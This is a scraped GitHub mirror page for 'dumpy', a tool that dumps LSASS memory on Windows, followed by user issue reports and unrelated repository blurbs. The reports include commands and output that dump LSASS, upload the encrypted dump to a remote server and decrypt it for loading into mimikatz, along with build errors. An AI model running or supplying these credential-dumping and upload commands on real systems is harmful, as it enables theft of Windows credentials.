kudaes / dumpy Goto Github PK
View Code? Open in Web Editor NEWReuse open handles to dynamically dump LSASS.
License: GNU General Public License v3.0
Reuse open handles to dynamically dump LSASS.
License: GNU General Public License v3.0
Hello, i've got problem while loading it into mimikatz, because mimikatz stop working after upload decrypted lsass file. I'll explain.
Compilation passed good, I've setup secret key before building .exe set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey" and then cargo build --release. Everything was fine. After I was dumping lsass on my Windows 10 (1909) host.
dumpy.exe dump -k yoursupersecretkey -u http://myipv4:8080 force
[+] SeDebugPrivilege successfully enabled.
[+] Handle to lsass leaked.
[+] Retrieved 65417 handles. Starting analysis...
\ 10000 handles have been analyzed so far...
\ 20000 handles have been analyzed so far...
\ 30000 handles have been analyzed so far...
\ 40000 handles have been analyzed so far...
\ 50000 handles have been analyzed so far...
\ 60000 handles have been analyzed so far...
[+] Valid handle to lssas found.
[+] NtOpenProcess hooked.
[!] Lsass dump created!
[+] File uploaded.
Next
c:\Users\Administrator\Documents>dumpy.exe decrypt -i WiS7B8b -o file1.txt -k yoursupersecretkey
[+] Successfully decrypted minidump file.
c:\Users\Administrator\Documents>ren file1.txt file1.dmp
and now i was trying to load it into mimikatz and get crashing program. It's just stop working. I think problem in decryption or something esle.
Can u help me with it? Any suggestions?
C:\Users\Administrator\Desktop>dumpy.exe dump
thread 'main' panicked at 'assertion failed: `(left != right)`
left: `0`,
right: `0`: Os { code: 6, kind: Uncategorized, message: "句柄无效。" }', C:\Use
rs\ONEFOX\.cargo\registry\src\github.com-1ecc6299db9ec823\winproc-0.6.4\src\hand
le.rs:68:9
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"
cargo build --target=x86_64-pc-windows-msvc
...
error: assigning to &T
is undefined behavior, consider using an UnsafeCell
--> dinvoke\src\lib.rs:242:21
|
234 | let mut fun_name: *mut String = std::mem::transmute(&String::default());
| --------------------------------------- casting happend here
...
242 | *fun_name = function_name.to_string();
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
= note: for more information, visit https://doc.rust-lang.org/book/ch15-05-interior-mutability.html
= note: #[deny(invalid_reference_casting)]
on by default
error: could not compile dinvoke
(lib) due to 1 previous error
Sometimes dumpy is not working.
The "starting analysis..." part takes a lot longer than normal.
C:\Temp>dumpy dump
[+] SeDebugPrivilege successfully enabled.
[+] Retrieved 42708 handles. Starting analysis...
Normal it looks like this:
C:\Temp>dumpy dump
[+] SeDebugPrivilege successfully enabled.
[+] Retrieved 54767 handles. Starting analysis...
[+] NtOpenProcess hooked.
[!] Lsass dump created!
[+] Memory dump written to file epvk4mF.txt.
[+] Successfully unmapped view of file.
[+] Transaction successfully rollbacked.
Unfortunately I cannot see a debug switch to get a verbose output.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.